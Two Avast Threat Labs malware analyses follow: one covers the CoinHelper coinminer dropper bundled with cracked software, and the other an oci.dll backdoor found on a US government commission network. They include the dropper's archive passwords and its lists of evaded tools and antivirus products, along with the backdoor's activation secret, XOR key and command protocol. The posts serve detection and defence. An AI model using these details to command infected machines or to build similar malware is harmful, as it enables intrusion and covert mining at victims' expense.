The malware uses public services, such as IP loggers, to aggregate information about victims. The IP loggers are basically URL shorteners that usually provide comprehensive telemetry statistics over the users clicking on the shortened link.

Additionally, as we will see further in this blogpost, the attacker harvests information about victims, focusing on the victim’s OS, amount of RAM installed, the CPU and video card information, as well as the security solutions present on the system. All the collected information is formatted and concatenated to a single string.

This string is then sent to a hardcoded URL address in the form of a user-agent via GET request. In our sample, the hardcoded URL looks like https://2no[.]co/1wbYc7.

Note that URLs such as these are sometimes also used in the second stage of CoinHelper as well. From our dataset, we have found 675 different URLs where the malware sends data.

Because the attackers often use public services without authentication, we can actually peek inside and figure out the figures from their perspective. The bottom line is that they are making a statistical evaluation of their various infection vectors (bundled installers from unofficial software sources, torrents, MyKings botnet, and more) across the infected user base, effectively trying to focus on people with higher-end machines as well as getting to know which regions in the world use what antivirus and/or security solutions.

As an example, we can see information available on one of the many still-active links containing a date and time of the click, IP address (anonymized) and ISP, corresponding geolocation, used web browser and of course, the user-agent string with the harvested data.

The attacker also has access to the geographic location of the victims in a map view.

In the sections below, the reader can find further details of how the information is obtained in the first stage of the malware, along with further details about the harvested data.

Checking the CPU 

The malware executes one of the two variants of shellcodes (x86 and x64), present in hexadecimal form:

• 0x5589E5538B45088B4D0C31DB31D20FA28B6D10894500895D04894D0889550C5B5DC3
• 0x5389C889D131DB31D20FA26741890067418958046741894808674189500C5BC3

When we disassemble the shellcodes, we can see common cpuid checks, returning all its values (registers EAX, EBX, ECX, EDX). Thus, the malware effectively harvests all the information of the currently present processor of the victim, its model and features.

All the information is parsed and particular features are extracted. Actually, the feature lists in the malware are identical to the CPUID Wikipedia page, exactly pointing out where the attacker was inspired.

Even though all the information is harvested, only the AES instruction set bit is actually checked – if the processor supports this instruction set and it is x64, only then it will install the x64 bit version of the final stage (coinminer). In the other case, the x86 version is used.

As we mentioned, the rest of the information is collected, but it is actually not used anywhere in the code.

CPU and video card information

The cpuid check is not the only one that performs HW checks on the victim’s system. Two additional WMI queries are used to obtain the names of the victim’s processor and video card:
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController

Furthermore, the malware uses GetSystemInfo to collect the SYSTEM_INFO structure to check the number of cores the victim’s CPU has.

AV checks

The script also checks for running processes, searching for security solutions present on the machine. This information is once again “just” logged and sent to the IP logging server – no other action is done with this information (e.g. altering malware’s functionality).

The complete list of all the checked AV / Security solutions by their processes, as presented in the malware, can be found in Appendix.

Exploring the second stage – asacpiex.dll

Now, let’s dive into the second stage of the malware. After the asacpiex.dll archive is fixed, it is saved as CR_Debug_Log.txt to the Temp folder.

To unpack the archive, the malware uses a password JDQJndnqwdnqw2139dn21n3b312idDQDB. This is the most common password for these AutoIt droppers. However, it is not the only one and so far, we counted two additional passwords:

• dkwqdqw9324328NDQDN@@!)(#($%&^!ND21
• jDWQJkdqkwdqo2m@mdwmsxPAS,sq%

Unpacking reveals two additional files:

• 32.exe
• 64.exe

Depending on the architecture of the OS and whether the AES instruction set is available, one of these files is copied into
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Helper.exe
and executed (via a scheduled task).

Both of these files are once again compiled AutoIt scripts, carrying functionality to distribute further payloads, in the form of coinminers, to victims via Tor network.

After the decompilation of the files, we can see that both of the output scripts are very similar. The only difference is that the x64 version tries to also utilize the user’s graphic card as well if possible for coinmining, not just the CPU. In the text below, we will focus on the x64 version since it contains more functionality.

Although Helper.exe is the most common name of the malware by far, it is not the only possibility. Other options we’ve seen in the wild are for example:

• fuck.exe
• Helperr.exe
• svchost.exe
• System.exe
• system32.exe
• WAPDWA;DJ.exe
• WorkerB.exe

Helper.exe

As we already mentioned, the primary goal of the Helper.exe dropper is to drop an XMRig coinminer onto the victim’s system via Tor network. The coinminer is executed with a hardcoded configuration present in the script.

Helper.exe holds a variety of other functionalities as well, such as performing several system checks on the victim’s PC, injecting itself into %WINDIR%\System32\attrib.exe system binary, checking the “idleness” of the system to intensify the mining, and more. Let’s now have a look at how all these functionalities work.

Downloading coinminers via Tor network

The main purpose of the dropper is to download a payload, in our case a coinminer, onto the infected system. To do so, the malware performs several preparatory actions to set up the environment to its needs.

First and foremost, the malware contains two additional files in hexadecimal form. The first is once again a clean 7zip binary (but different than CL_Debug_Log.txt) and the second one is a 7zip archive containing a clean Tor binary and belonging libraries:

• libcrypto-1_1-x64.dll
• libevent-2-1-7.dll
• libevent_core-2-1-7.dll
• libevent_extra-2-1-7.dll
• libgcc_s_seh-1.dll
• libssl-1_1-x64.dll
• libssp-0.dll
• libwinpthread-1.dll
• tor.exe
• zlib1.dll

To be able to unpack Tor, a password DxSqsNKKOxqPrM4Y3xeK is required. This password is also required for unpacking every downloaded coinminer as well, but we will get to that later.

After Tor is executed, it listens on port 9303 on localhost (127.0.0.1) and waits for requests. To prevent confusion at this point, note that this execution is hidden by default because tor.exe should not be mistaken for a Tor browser. tor.exe is a process providing Tor routing (without a GUI). In a common Tor browser installation, it can be usually found in \<Tor browser root folder>\Browser\TorBrowser\Tor\tor.exe.

The script further contains a few Base64 encoded Tor addresses of the C&C servers and tries which one is alive. This is done by initializing SOCKS4 communication via a crafted request (in the hexadecimal form):
04 01 00 50 00 00 00 FF 00 $host 00
where $host is the demanded server address.

The malware expects one of the standard protocol responses and only if the response contains 0x5A byte, the malware will further proceed to communicate with the server.

Byte	Meaning
0x5A	Request granted
0x5B	Request rejected or failed
0x5C	Request failed because client is not running identd (or not reachable from server)
0x5D	Request failed because client’s identd could not confirm the user ID in the request

The lists of Tor addresses differ quite a bit across multiple samples. So far we’ve seen 24 unique C&C servers (see our IoC repository for the complete list). However, at the time of writing, only two of all the servers were still active:

• 2qepteituvpy42gggxxqaaeozppjagsu5xz2zdsbugt3425t2mbjvbad[.]onion
• jbadd74iobimuuuvsgm5xdshpzk4vxuh35egd7c3ivll3wj5lc6tjxqd[.]onion

If we access the server using e.g. Tor browser, we can see a default Windows Server landing page, illustrated in figure below. Note that this is a very common landing page for MyKings C&Cs. However, this single fact is not sufficient for attributing CoinHelper to MyKings.

The malware is capable of downloading four files in total from an active server, present in a “public” subfolder:

• public/upd.txt
• public/64/64.txt (or public/32/32.txt if the “32 bit variant” of the script is used)
• public/vc/amd.txt
• public/vc/nvidia.txt

The files 64.txt (32.txt), amd.txt, and nvidia.txt are all XMRig coinminers (encoded and compressed), both for CPU or an according GPU card.

The upd.txt file is a plaintext file containing a version number bounded by _ and ! symbols, for example _!1!_. The malware asks the server what’s the version and if the version is newer, all coinminers are updated (downloaded again).

The miners are downloaded as a hexadecimal string from the C&C, ending with a constant string _!END!_. After the end stub is removed and the string decoded, we get a 7zip archive. Once again, we can use the DxSqsNKKOxqPrM4Y3xeK password to unpack it.

After the unpacking, we can get these files:

• SysBackup.txt – for CPU miners (both 32 and 64 bit)
• SysBackupA.txt – when there is also AMD GPU detected
• SysBackupN.txt – when there is also NVIDIA GPU detected

These files are once again present in a hexadecimal form, this time starting with 0x prefix and without the end stub.

Furthermore, a few additional files can be found with the “SysBackup” files for ensuring the mining functionality and optimal mining, when appropriate (for example xmrig-cuda.dll for NVIDIA cards).

The download process can be seen in the following visualisation:

Coinmining

The coinmining (and the 7zip unpacking) is executed via process injection. The CPU coinmining is performed by injecting into a newly created and suspended process of %WINDIR%\System32\attrib.exe.

Execution of all the other components, such as GPU mining or unpacking of the coinminer payloads downloaded from Tor, is done by injecting into itself, meaning a new suspended instance of Helper.exe is used for the injection. When there is coinmining on GPU supported, both CPU and GPU are executed in parallel.

Note that the injection is done by a publicly available AutoIt injector, so the author chose the copy+paste way without reinventing the wheel.

From our research, we’ve only seen XMRig to be deployed as the final coinmining payload. The malware executes it with common parameters, with one approach worth mentioning – a parameter setting the password for the mining server “-p”. In standard situations, the password doesn’t really matter so the malware authors usually use “x” for the password. In this case, however, the malware generates a GUID of the victim and appends it to the usual “x”.

The GUID is created by concatenating values from one of the WMI queries listed below:
SELECT * FROM Win32_ComputerSystemProduct
SELECT * FROM Win32_BIOS
SELECT * FROM Win32_Processor
SELECT * FROM Win32_PhysicalMedia

Which query should be used is defined in the configuration of the AutoIt script. The GUID is created by hashing the obtained information using MD5 and formatted as a standard GUID string:
/\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}/

With this approach, the malware author is in fact able to calculate the exact number of infected users who are actually mining, because all the mining will be performed via a unique password, passing it as an ID of the “worker” (= victim) to the pool.

Persistence

Similarly to the first stage, at the beginning of the second stage, particular mutexes are checked and created if necessary:

• QPRZ1bWvXh
• QPRZ1bWvXh2

As we can see, only the number in the middle of the mutex is changed compared to the first stage (QPRZ3bWvXh). The second mutex has an appended 2 as a constant. We have also seen QPRZ2bWvXh used as well, once again changing the middle number.

For the sake of staying hidden for the longest time possible, the malware checks several processes using a native AutoIt ProcessExists function for any running system monitoring and analysis tools:

• aida64.exe
• AnVir.exe
• anvir64.exe
• GPU-Z.exe
• HWiNFO32.exe
• HWiNFO64.exe
• i7RealTempGT.exe
• OpenHardwareMonitor.exe
• pchunter64.exe
• perfmon.exe
• ProcessHacker.exe
• ProcessLasso.exe
• procexp.exe
• procexp64.exe
• RealTemp.exe
• RealTempGT.exe
• speedfan.exe
• SystemExplorer.exe
• taskmgr.exe
• VirusTotalUpload2.exe

When the tool is spotted, the malware temporarily disables the mining. The information about running coinminers is stored in two files:

• mn.pid
• gmn.pid

As their names might disclose, a particular PID of the running (GPU) coinminer is written there.

The malware also monitors whether the victim actually uses their PC at the moment. If the user is idle for a while, in our particular case for 3 minutes, the current coinmining is terminated and a new coinmining process is executed and set to leverage 100% of the CPU on all threads. This information (PID) is stored in a file called mn.ld. When the PC is actively used, the mining is set to 50% of the available performance. On the other hand, GPU mining is performed only when the user is not actively using their PC (for 2 minutes).

The malware also lists all console windows present on the system and finds out those that have visibility set to hidden. If such a window is found and it doesn’t belong to CoinHelper, the malware considers it as a competing miner and kills the process.

Data harvesting and AV checks

Similarly to the previous AutoIt stage, Helper.exe collects information about the infected system, too, as shown in the table below:

Information	Purpose
Number of available CPU threads	If the victim’s system is idle, the malware leverages all CPU threads
Video card type	What kind of card is used – for Nvidia or AMD optimized coinmining
CPU type	Not used (*see below)
Security solution	Not used (*see below)
HW ID hashed by MD5	Appended to XMRig password, resulting in a parameter -p xMD5 (see Coinmining for details)

As we could see (*) in the table above, the code actually contains functions for the harvesting of some information that is not actually executed. This means that while it could gather this information, it doesn’t. Due to similarities with the first stage, we suppose that the authors have forgotten some artifacts of previous versions due to shifts of functionality between the first AutoIt stage and the Helper.exe stage.

The malware recognizes which graphic card is available on the infected system. These cards are detected using the WMI query on Win32_VideoController. You can find all the cards, as presented in the malware, in the table below:

AMD Series	AMD Model
RX	460, 470, 480, 540, 550, 560, 570, 580, 590, 640, 5500, 5600, 5700, 6800, 6900
R5	230
R7	240
	W4300
VEGA	56, 64
Radeon	520, 530, 535, 540, 550, 610, 620, 625, 630, VII
WX	3100, 5100

Nvidia Series	Nvidia Model
	P104-100
	P106-090
GTX	750, 970, 980, 980, 1050, 1060, 1070, 1080, 1650, 1660, TITAN
RTX	2050, 2060, 2070, 2080, 3060, 3070, 3080, 3090
GT	710, 720, 730, 740, 1030
Quadro	K1000, K1200, P400, P620, P1000, P2000, P2200, P5000

If any card from above is detected and also the video adapter name matches either “Advanced Micro Devices, Inc.” or “NVIDIA”, the malware uses XMRig to leverage GPU for coinmining.

From the list of graphic cards, it is apparent that the malware doesn’t hesitate to leverage the newest models of graphic cards.

Bundled apps overview

After looking at the software that the infected victims originally wanted to install, we can conclude that CoinHelper can be bundled with practically anything. So far, we’ve seen over 2,700 different apps bundled with CoinHelper (differentiating by unique SHA256 hashes). The majority of the software consists of clean installers, cracked software, cracked games or game cheats like ChromeSetup, Photoshop, MinecraftSetup, Assassin’s Creed Valhalla, CyberPunk 2077 Trainer or AmongUs cheats. With repertoire like this, the authors of CoinHelper are able to reach out to almost any type of audience ensuring successful spread of the malware.

Persuading someone to download supposedly clean software, which is in reality bundled with malware, is easier than persuading someone to willingly download malware which is secretly bundled with another malware. Authors of CoinHelper are not afraid of this challenge as we observed CoinHelper to be also bundled with samples of malware like 888 RAT or njRAT. We assume that with this approach, the target group of people gets extended by “script kiddies” and inexperienced people with an interest in malware. As this group of people is very specific, there are only a few samples of malware in comparison with the amount of other software. Graphical overview of this proportion can be seen also in the image below.

Origin of the bundled apps

Apart from the Yandex Disk storage from where we started our investigation, we can confirm that another considerable method of spreading CoinHelper is via malicious torrents placed on internet forums focused on cracked software.

Forums overview

The authors of the malware successfully made it easy for people to stumble upon the malicious torrents. During our research, we found CoinHelper bundled with software on  Russian internet forums focusing on cracked software:

• windows-program[.]com
• softmania[.]net

Even though we were able to find information about the number of downloads of the malware from these forums (more about this later), it wasn’t nearly enough to explain the number of hits from our user base. Because of this, we have to assume that there are tens of forums like the ones mentioned above, spreading malware through cracked software. 

More about the forums

Let’s focus on the first forum windows-program[.]com, as the other one is very similar. Between the thousands and thousands of articles, we found the samples we were looking for. As it turns out, registered user Alex4 created 29 different articles mostly containing torrents for cracked software including:

Advertised software	Description & functionality
Ableton Live Suite 9.7.3 + Crack + торрент	Audio workstation and music production software with current price 599 €
Dr.Web Security Space 11.0.0.11162 x86 x64 + ключ + торрент	Anti-virus solution
ESET NOD32 Smart Security 10.1.219.1 + ключи + торрент	Anti-virus solution
Avast Premier 11.2.2260 + ключ + торрент	Anti-virus solution
Adobe Photoshop CC 2017.1.1 + Portable + торрент	Photo and image editing software
Fraps 3.5.99 на русском + crack + торрент	Screen capture and screen recording utility, popular to videocapture games

As can be seen in the table above, CoinHelper can be also found bundled with multiple well-known AV solutions. Let’s take a closer look at a post about Avast AV for the sake of awareness about threats that come with downloading AV from sources like this.

First thing to notice is that the post is from 2020-11-06. It also  contains some  screenshots of the promised program, but it can be seen that it is a very old version of our AV from 2016. After launching the installation, users get to choose between installing the old version or updating AV to the newest version. Unfortunately, the installer was manipulated and neither of the options work and the no-update variant crashes the system. As a result, the output from this download for users is that they don’t get AV protection, they might crash their system and they also get infected with CoinHelper. Because of this we highly recommend downloading only signed software from verified and trustworthy sources and if possible verify hashes or checksums of installers.

As a matter of fact, neither of the AV installers worked. After launching an installer, CoinHelper would install itself and installation would fail because of various reasons. It makes sense that authors of the malware would choose malfunctioning these installers, because there is no reason to give victims a tool that kills and removes their freshly dropped malware from the system.

In the post, it is possible to download three different things:

• A torrent file with which it is possible to download the advertised program with CoinHelper
• A zip archive protected with a password “123” containing the advertised program with CoinHelper

After choosing between a zip archive or torrent, the page opens a new tab with information about the file to be downloaded. On the image below it is possible to see the date when the file was added to the page. Surprisingly it is 2021-07-12 and not 2020-11-06, so the file is much newer than the post referencing it. Because we have seen multiple versions of the malicious AutoIt scripts, we suppose that authors of the malware are updating these files with new versions of CoinHelper. 

Additional information that can be noticed on the image above is that the torrent file was downloaded 549 times and after adding the 508 downloads of the zip archive, we can conclude that more than 1,000 people may have got infected just from this one post on this forum. After checking all the forum posts and files uploaded by the user Alex4 we can confirm that the total number of downloads is more than 45,000 by the 2021-11-02. We consider this number to be quite alarming considering it is the spread of malware only from a single internet forum.

The second forum (softmania[.]net) is quite similar. In this case, the user from whose account the malware is spreading is WebGid4. This user has 56 publications on the forum among which you can find posts about following software:

Advertised software	Description & functionality
Windows 11 64bit Pro-Home v.21 торрент	Windows 11 ISO image
Adobe Photoshop Lightroom Classic 2021 v10.0 + торрен	Photo and image editing software
Microsoft Office 2016 Professional Plus 16.0.7571.2075 + Ключ + Torrent	MS Office package
VMware Workstation 12 Pro 12.5.4	Software that creates and runs virtual machines
Steinberg Cubase Pro 10.0.50 2020 + торрент	Software for composing, recording, mixing and editing music

The first thing that caught our eyes was the ISO image of the brand new OS Windows 11. The official Windows 11 release date was 2021-10-05, which was only a few weeks before the release of this blogpost. This means that the attackers are really keeping the pace with the current trends and they try very hard to have interesting software to infect as many victims as they can.

After downloading the torrent named “Windows 11 64bit Pro-Home v.21 торрент” victims would download through the torrent client an ISO file named “windows_11_CLIENT_CONSUMER_x64FRE_en-us.iso”. This is a working ISO image of Windows 11, which installs a brand new operating system, but as a bonus it deploys CoinHelper that is inside the ISO image. After unpacking the ISO file, there is an executable called \sources\setup.exe present that contains bundled CoinHelper.

If the victims were more careful, a hint that something is sketchy could be seen after clicking on the download torrent link and opening a download page in the new tab. The torrent was added 2021-07-10, only 17 days after the official announcement of Windows 11 and ~3 months before the official release. This already raised many flags, and as we later found out, it is a Windows 11 developer version that was leaked in June 2021. This ISO image is able to successfully upgrade existing Windows OS to the new Windows 11 also with CoinHelper in it.

Seeding source

We’ve seen these malicious files being downloaded through torrents which are seeded from seed boxes. A seed box is a remote server used for storing and seeding files through the P2P network that can be rented as a service. Seed boxes serve as a layer of anonymity for attackers because instead of exposing their IP address, only the IP address of the seed box can be seen. They also ensure high availability of the content, because the seed box is supposed to be running 24/7 (unlike regular PCs). Furthermore, companies renting seed boxes also offer different bandwidths to be able to support even higher download rates.

When we looked into the malicious torrents from the Alex4 on windows-program[.]com forum, we saw that the malicious content is downloaded from the server with IP 88.204.193[.]34 on port 56000 (apart from others probably already infected seeders). After taking a closer look at this IP address, we’ve found out that the IP address is located in Kazakhstan and it is connected to the service named megaseed (megaseed.kz).

Conclusion

In this blog post, we presented a detailed technical analysis of CoinHelper, a family of AutoIt droppers, which provides a massive coinmining campaign affecting hundreds of thousands of users worldwide. The malware is being spread in a form of a bundle with another software, being it game cheats, cracked software, or even clean installers such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others.

Furthermore, we explained how the malware maps the victims of the campaign using public IP logging services to better understand the effectiveness of the chosen infection vectors in certain regions. Using these services, the malware also harvests information about victims’ security solutions and available computational power.

We explained how the malware can hide literally in any software from unofficial sources. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/CoinHelper/

SHA256	File name
83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf	start.exe
cc36bb34332e2bc505da46ca2f17206a8ae3e4f667d9bdfbc500a09e77bab09c	asacpiex.dll
ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d	CL_Debug_Log.txt
126d8e9e03d7b656290f5f1db42ee776113061dbd308db79c302bc79a5f439d3	32.exe
7a3ad620b117b53faa19f395b9532d3db239a1d6b46432033cc0ef6a8d2377cd	64.exe
7387e57e5ecfdba01f0ad25eeb49abf52fa0b1c66db0b67e382d3b9c057f51a8	32.txt
ff5aa6390ed05c887cd2db588a54e6da94351eca6f43a181f1db1f9872242868	64.txt
6753d1a408e085e4b6243bfd5e8b44685e8930a81ec27795ccd61f8d54643c4e	amd.txt
93dd8ef915ca39f2a016581d36c0361958d004760a32e9ee62ff5440d1eee494	nvidia.txt

Mutex

QPRZ1bWvXh

QPRZ1bWvXh2

QPRZ2bWvXh

QPRZ3bWvXh

Logging services

https://2no[.]co/1wbYc7

Appendix

List of checked security solutions

AV / Security solution	Checked processes
Avast	AvastUI.exe, AvastSvc.exe
NOD	egui.exe, ekrn.exe
Kaspersky	avp.exe, avpui.exe
AVG	avguix.exe, AVGUI.exe
Dr.web	dwengine.exe
Ad-Aware	AdAwareTray.exe, AdAwareDesktop.exe
SecureAPlus	SecureAPlus.exe, SecureAPlusUI.exe
Arcabit	arcabit.exe, arcamenu.exe
Bitdefender	seccenter.exe, bdagent.exe, bdwtxag.exe, agentcontroller.exe
CAT-QuickHeal	ONLINENT.exe, SCANNER.exe
Comodo	cis.exe, vkise.exe
Cybereason	CybereasonRansomFree.exe
Emsisoft	a2guard.exe, a2start.exe
eScan	escanmon.exe, TRAYICOS.exe, escanpro.exe
F-Prot	FProtTray.exe, FPWin.exe
GData	AVKTray.exe, GDKBFltExe32.exe, GDSC.exe
ikarus	guardxkickoff.exe, virusutilities.exe
K7AntiVirus	K7TSecurity.exe, K7TSMain.exe, K7TAlert.exe
MaxSecure	Gadget.exe, MaxProcSCN.exe, MaxSDTray.exe, MaxSDUI.exe, MaxUSBProc.exe
McAfee	McDiReg.exe, McPvTray.exe, McUICnt.exe, mcuicnt.exe, MpfAlert.exe, ModuleCoreService.exe, uihost.exe, delegate.exe
MicrosoftSecurityEssentials	msseces.exe
Panda	PSUAConsole.exe, PSUAMain.exe
TrendMicro	PtSessionAgent.exe, uiSeAgnt.exe, uiWinMgr.exe
TrendMicro-HouseCall	HousecallLauncher.exe, housecall.bin, HouseCallX.exe
VIPRE	SBAMTray.exe, VIPREUI.exe
Webroot	WRSA.exe
ZoneAlarm	zatray.exe
AhnLab-V3	ASDCli.exe, ASDUp.exe, MUdate.exe, V3UPUI.exe, V3UI.exe
Avira	avgnt.exe, Avira.Systray.exe, ngen.exe, Avira.VPN.Notifier.exe, msiexec.exe
Bkav	BkavHome.exe
BkavPro	Bka.exe, BkavSystemServer.exe, BLuPro.exe
F-Secure	fshoster32.exe
Jiangmin	KVMonXP.kxp, KVPreScan.exe, KVXp.kxp
Kingsoft	kislive.exe, kxetray.exe
NANO-Antivirus	nanoav.exe
Qihoo-360	efutil.exe, DesktopPlus.exe, PopWndLog.exe, PromoUtil.exe, QHSafeMain.exe, QHSafeTray.exe, SoftMgrLite.exe
Rising	popwndexe.exe, rsmain.exe, RsTray.exe
SUPERAntiSpyware	SUPERAntiSpyware.exe
Tencent	QQPCTray.exe, QQPCUpdateAVLib.exe, Tencentdl.exe, TpkUpdate.exe
VBA32	vba32ldrgui.exe, VbaScheluder.exe, BavPro_Setup_Mini_C1.exe
ViRobot	hVrSetup.exe, hVrTray.exe, hVrScan.exe, hVrContain.exe
Zillya	ZTS.exe
Defender	MSASCui.exe, MSASCuiL.exe
SmartScreen	smartscreen.exe

The post Toss a Coin to your Helper (Part 2 of 2) appeared first on Avast Threat Labs.

We have found a new targeted attack against a small, lesser-known U.S. federal government commission associated with international rights. Despite repeated attempts through multiple channels over the course of months to make them aware of and resolve this issue they would not engage.

After initial communication directly to the affected organization, they would not respond, return communications or provide any information.

The attempts to resolve this issue included repeated direct follow up outreach attempts to the organization. We also used other standard channels for reporting security issues directly to affected organizations and standard channels the United States Government has in place to receive reports like this.

In these conversations and outreach we have received no follow up or information on whether the issues we reported have been resolved and no further information was shared with us.

Because of the lack of discernible action or response, we are now releasing our findings to the community so they can be aware of this threat and take measures to protect their customers and the community. We are not naming the entity affected beyond this description.

Because they would not engage with us, we have limited information about the attack. We are unable to attribute the attack, its impact, or duration. We are only able to describe two files we observed in the attack. In this blog, we are providing our analysis of these two files.

While we have no information on the impact of this attack or the actions taken by the attackers, based on our analysis of the files in question, we believe it’s reasonable to conclude that the attackers were able to intercept and possibly exfiltrate all local network traffic in this organization. This could include information exchanged with other US government agencies and other international governmental and nongovernmental organizations (NGOs) focused on international rights. We also have indications that the attackers could run code of their choosing in the operating system’s context on infected systems, giving them complete control.

Taken altogether, this attack could have given total visibility of the network and complete control of a system and thus could be used as the first step in a multi-stage attack to penetrate this, or other networks more deeply.

Overview of the Two Files Found

The first file masquerades as oci.dll and abuses WinDivert, a legitimate packet capturing utility, to listen to all internet communication. It allows the attacker to download and run any malicious code on the infected system. The main scope of this downloader may be to use priviliged local rights to overcome firewalls and network monitoring.

The second file also masquerades as oci.dll, replacing the first file at a later stage of the attack and is a decryptor very similar to the one described by Trend Labs from Operation red signature. In the following text we present analysis of both of these files, describe the internet protocol used and demonstrate the running of any code on an infected machine.

First file – Downloader

We found this first file disguised as oci.dll (“C:\Windows\System32\oci.dll”) (Oracle Call Interface). It contains a compressed library (let us call it NTlib). This oci.dll exports only one function DllRegisterService. This function checks the MD5 of the hostname and stops if it doesn’t match the one it stores. This gives us two possibilities. Either the attacker knew the hostname of the targeted device in advance or the file was edited as part of the installation to run only on an infected machine to make dynamic analysis harder.

We found two samples of this file:

SHA256	Description
E964E5C8A9DD307EBB5735406E471E89B0AAA760BA13C4DF1DF8939B2C07CB90	has no hash stored and it can run on every PC
C1177C33195863339A17EBD61BA5A009343EDB3F3BDDFC00B45C5464E738E0A1	is exactly the same file but it contains the hash of hostname

Oci.dll then decompresses and loads NTlib and waits for the attacker to send a PE file, which is then executed.

NTlib works as a layer between oci.dll and WinDivert.

The documentation for WinDivert describes it as “a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows 7, Windows 8 and Windows 10. WinDivert can be used to implement user-mode packet filters, packet sniffers, firewalls, NAT, VPNs, tunneling applications, etc., without the need to write kernel-mode code.”

NTlib creates a higher level interface for TCP communication by using low-level IP packets oriented functions of WinDivert. The NTLib checks if the input has magic bytes 0x20160303 in a specific position of the structure given as the first argument as some sort of authentication.

Exported functions of NTLib are:

• NTAccept
• NTAcceptPWD
• NTSend
• NTReceive
• NTIsClosed
• NTClose
• NTGetSrcAddr
• NTGetDscAddr
• NTGetPwdPacket

The names of the exported functions are self-explanatory. The only interesting function is  NTAcceptPWD, which gets an activation secret as an argument and sniffs all the incoming TCP communication, searching for communication with that activation secret. It means that the malware itself does not open any port on its own, it uses the ports open by the system or other applications for its communication. The malicious communication is not reinjected to the Windows network stack, therefore the application listening on that port does not receive it and doesn’t even know some traffic to its port is being intercepted.

The oci.dll uses NTlib to find communications with the activation secret CB 57 66 F7 43 6E 22 50 93 81 CA 60 5B 98 68 5C 89 66 F1 6B. While NTlib captures the activation secret, oci.dll responds with Locale (Windows GUID, OEM code page identifier and Thread Locale) and then waits for the encrypted PE file that exports SetNtApiFunctions. If the PE file is correctly decrypted, decompressed and loaded, it calls the newly obtained function SetNtApiFunctions.

The Protocol

As we mentioned before, the communication starts with the attacker sending CB 57 66 F7 43 6E 22 50 93 81 CA 60 5B 98 68 5C 89 66 F1 6B (the activation secret) over TCP to any open port of the infected machine.

The response of the infected machine:

• Size of the of the message – 24 (value: 28) [4 B]
• Random encryption key 1 [4 B]
• Encrypted with Random encryption key 1 and precomputed key:
  • 0 [4 B]
  • ThreadLocale [4 B]
  • OEMCP or 0 [4 B]
  • 0x20160814 (to test correctness of decryption) [4 B] 
  • 0,2,0,64,0,0,0 [each 4 B]

The encryption is xor cipher with precomputed 256 B key:

5C434846474C3F284EB64A4343433B4031E546C049584747454956FE4C51B369595AA5DB6DA082696E6C6D72654E74DC706969696166570B6CE66F7E6D6D6B6F7C247277D98F7F80CB0193C6A88F949293988B749A02968F8F8F878C7D31920C95A493939195A24A989DFFB5A5A6F127B9ECCEB5BAB8B9BEB19AC028BCB5B5B5ADB2A357B832BBCAB9B9B7BBC870BEC325DBCBCC174DDF12F4DBE0DEDFE4D7C0E64EE2DBDBDBD3D8C97DDE58E1F0DFDFDDE1EE96E4E94B01F1F23D7305381A010604050AFDE60C7408010101F9FEEFA3047E07160505030714BC0A0F7127171863992B5E40272C2A2B30230C329A2E2727271F2415C92AA42D3C2B2B292D3AE2

That is xored with another 4 B key.

After sending the above message the infected machine awaits for a following message with the encrypted PE file mentioned above:

• Size of the of the message – 24 [4 B]
• Random Encryption key 2 [4 B]
• Encrypted  with Random encryption key 2 and precomputed key:
  • 6 (LZO level?) [4 B]
  • 0 [8 B]
  • 0x20160814 [4 B] 
  • 0x20160814 [4 B]
  • Size of the whole message [4 B]
  • Offset (0) [4 B]
  • Length (Size of the whole message) [4 B]
  • Encrypted with key 0x1415CCE and precomputed key:
    • 0 [16 B]
    • Length of decompressed PE file [4 B]
    • 0 [16 B]
    • Length of decompressed PE file [4 B]
    • 0 [16 B]
    • LZO level 6 compressed PE file

With the same encryption as the previous message.

In our research we were unable to obtain the PE file that is part of this attack. In our analysis, we demonstrated the code execution capabilities by using a library with the following function:

In a controlled lab setting, we were able to start the calculator on an infected machine over the network with the following python script (link to GitHub).

Second File – Decryptor

The second file we found also masquerages as oci.dll. This file replaced the first downloader oci.dll and likely represents another, later stage of the same attack. The purpose of this file is to decrypt and run in memory the file “SecurityHealthServer.dll”.

SHA256: 6C6B40A0B03011EEF925B5EB2725E0717CA04738A302935EAA6882A240C2229A

We found that this file is similar to the rcview40u.dll that was involved in Operation Red Signature. rcview40u.dll (bcfacc1ad5686aee3a9d8940e46d32af62f8e1cd1631653795778736b67b6d6e) was signed by a stolen certificate and distributed to specific targets from a hacked update server. It decrypted a file named rcview40.log, that contained 9002 RAT and executed it in memory.

This oci.dll exports same functions as rcview40u.dll:

The new oci.dll decrypts SecurityHealthServer.dll with RC4 and used the string TSMSISRV.dll as the encryption key. This is similar to what we’ve seen with rcview40u.dll which also uses RC4 to decrypt rcview.log with the string kernel32.dll as the encryption key.

Because of the similarities between this oci.dll and rcview40u.dll, we believe it is likely that the attacker had access to the source code of the three year-old rcview40u.dll.  The newer oci.dll has minor changes like starting the decrypted file in a new thread instead of in a function call which is what  rcview40u.dll does. oci.dll was also compiled for x86-64 architecture while rcview40u.dll was only compiled for x86 architecture.

Conclusion

While we only have parts of the attack puzzle, we can see that the attackers against these systems were able to compromise systems on the network in a way that enabled them to run code as the operating system and capture any network traffic travelling to and from the infected system.

We also see evidence that this attack was carried out in at least two stages, as shown by the two different versions of oci.dll we found and analyzed.

The second version of the oci.dll shows several markers in common with rcview40u.dll that was used in Operation Red Signature such that we believe these attackers had access to the source code of the malware used in that attack.

Because the affected organization would not engage we do not have any more factual information about this attack. It is reasonable to presume that some form of data gathering and exfiltration of network traffic happened, but that is informed speculation. Further because this could have given total visibility of the network and complete control of an infected system it is further reasonable speculation that this could be the first step in a multi-stage attack to penetrate this, or other networks more deeply in a classic APT-type operation.

That said, we have no way to know for sure the size and scope of this attack beyond what we’ve seen. The lack of responsiveness is unprecedented and cause for concern. Other government and non-government agencies focused on international rights should use the IoCs we are providing to check their networks to see if they may be impacted by this attack as well.

The post Avast Finds Backdoor on US Government Commission Network appeared first on Avast Threat Labs.

